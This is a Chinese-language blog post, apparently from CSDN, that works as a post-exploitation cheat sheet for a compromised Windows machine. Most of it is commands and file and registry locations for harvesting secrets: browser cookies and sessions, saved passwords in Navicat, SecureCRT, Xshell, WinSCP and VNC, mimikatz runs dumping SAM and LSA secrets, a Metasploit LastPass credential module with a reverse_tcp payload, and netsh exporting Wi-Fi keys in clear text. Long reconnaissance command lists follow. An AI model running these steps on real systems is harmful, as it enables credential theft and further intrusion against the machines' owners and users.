后渗透之Windows信息收集

目录

Windows账号密码

浏览器账号密码

其他软件账号密码

VPN账号密码

WIFI账号密码

web服务配置路径

windows 回收站的信息获取

其他信息收集


在获取了Windows系统权限(通常是管理员权限)后,我们就需要尽可能多的收集这台机器上的各种信息,各种密码,但是很多情况下只能使用cmd命令去收集。如下是收集一些信息的cmd命令:

Windows账号密码

传送门——> Windows中获取用户密码

浏览器账号密码

Google Chrome

chrome浏览器的用户数据目录如下:

用户数据目录:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\
缓存目录:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Cache\

各文件如下:
    书签:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
    Cookie: C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Cookies
    当前的session:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Current Session

IE

MSF模块

use post/multi/gather/lastpass_creds
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set session 1
exploit 

相关文章:浏览器密码存储原理和渗透中的利用

其他软件账号密码

Navicat:

MySQL

HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your  connection name>

MariaDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your  connection name>

MongoDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your  connection name>

Microsoft  SQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your  connection name>

Oracle

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your  connection name>

PostgreSQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your  connection name>

SQLite

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your  connection name>

SecureCRT:

xp/win2003

C:\Documents   and Settings\USERNAME\Application Data\VanDyke\Config\Sessions

win7/win2008以上

C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell 5

%userprofile%\Documents\NetSarang\Xshell\Sessions

Xshell 6

%userprofile%\Documents\NetSarang  Computer\6\Xshell\Sessions

WinSCP:

HKCU\Software\Martin  Prikryl\WinSCP 2\Sessions

VNC:

RealVNC

HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver

Password

TightVNC

HKEY_CURRENT_USER\Software\TightVNC\Server  Value

Password  or PasswordViewOnly

TigerVNC

HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4

Password

UltraVNC

C:\Program  Files\UltraVNC\ultravnc.ini

passwd or  passwd2

VPN账号密码

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

也可以使用图形化命令工具 Dialupass.exe

WIFI账号密码

#查看帮助
netsh wlan help

#列出无线接口
netsh wlan show interface

#开启无线接口
netsh interface set interface "Interface Name" enabled

#显示连接过的WIFI的配置文件
netsh wlan show profiles

#连接指定wifi
netsh wlan connect name=xxxx

#断开连接
netsh wlan disconnect


#查看连接过的WIFI的配置文件(包含账号密码),需要管理员权限执行
netsh wlan export profile interface=WLAN key=clear folder=C:\
#然后使用type命令查看配置文件
type C:\xxx.xml

其它常用的命令:
    导出配置文件:netsh wlan export profile key=clear
    删除配置文件:netsh wlan delete profile name=""
    添加配置文件:netsh wlan add profile filename=""

相关文章:windows 通过cmd命令(netsh wlan命令)连接wifi

web服务配置路径

IIS

IIS6:
cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root

IIS7、IIS8:
列出网站列表:appcmd.exe %systemroot%/system32/inetsrv/appcmd.exe list site
列出网站物理路径:appcmd.exe %systemroot%\system32\inetsrv\appcmd.exe list vdir

或者使用mimikatz读取IIS7配置文件:
mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit

Tomcat

/conf/tomcat-users.xml
/conf/server.xml
/conf/web.xml

Apache

/etc/httpd/conf/httpd.conf

Nginx

/etc/nginx/nginx.conf

wdcp

/www/wdlinux/wdcp/conf/mrpw.conf

 windows 回收站的信息获取

其他信息收集

系统
systeminfo                                                #查看系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"      #查看系统及版本,英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"          #查看系统及版本,中文系统
echo %PROCESSOR_ARCHITECTURE%                             #查看系统架构,一般为AMD64
set                                                       #查看系统环境变量
wmic qfe get Caption,Description,HotFixID,InstalledOn     #查看系统补丁信息
wmic bios                                                 #查看bios信息
nbtstat -A ip                                             #netbios查询
fsutil fsinfo drives                                      #查看所有的盘符
gpupdate /force                                           #更新计算机策略


安装的软件版本信息
wmic product get name,version                             #查看安装的软件及版本
powershell "get-wmiobject -class Win32_product | select-Object -property name,version"   #查看安装的软件及版本

网络
ipconfig /all                                             #查看ip详细信息
ipconfig /displaydns                                      #查看DNS缓存
route print                                               #查看路由
arp -a                                                    #查看arp缓存表
net view                                                  #查询机器列表
type C:\Windows\System32\drivers\etc\hosts                #查看hosts文件

用户账号密码
net user                                                  #只显示本机的用户,不显示域用户
net user xie                                              #查看用户xie的具体信息
wmic useraccount get /ALL                                 #查看本机用户详细信息
net localgroup                                            #查看组
net localgroup administrators                             #显示本机的administrators管理员组。除了显示本机中用户,还会显示域用户(前提是该域用户在本机的Administrators组内)
query user | qwinsta                                      #查询当前在线用户
whoami /all                                               #查询当前用户权限等
net accounts                                              #查看本地密码策略
qwinsta                                                   #查看登录情况
qwinsta /SERVER:IP                                        #查看远程登录情况

端口
netstat -ano                                              #查看端口开放情况、
netstat -ano|findstr 80                                   #查看80端口对应的PID

服务
net start                                                 #查询当前运行的服务
wmic service list brief                                   #查看服务name、进程ID、状态等

进程
tasklist                                                  #查看进程列表
tasklist  /svc                                            #查看进程,显示进程使用者名称
tasklist | findstr 80                                     #查看80端口对应的进程
taskkill /f /t /im xx.exe                                 #杀死xx.exe进程
taskkill /F -pid 520                                      #杀死pid为520的进程
wmic process list brief                                   #查看进程

共享
net use                                                   #查看连接
net share                                                 #查看共享
wmic share get name,path,status                           #查看共享
net session                                               #查看会话
net view \ip                                              #查询指定IP共享

启动程序信息                 
wmic startup get command,caption                          #查看启动项信息

计划任务
schtasks /query /fo LIST /v                               #查看计划任务

开机时间
net statistics workstation                                #查看机器开机时间

查询IE浏览器的代理信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 

查询RDP端口号
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /V portNumber

参考文章:https://www.secpulse.com/archives/51527.html

相关文章:Windows渗透基础大全

猜你喜欢

转载自blog.csdn.net/qq_36119192/article/details/107458359
今日推荐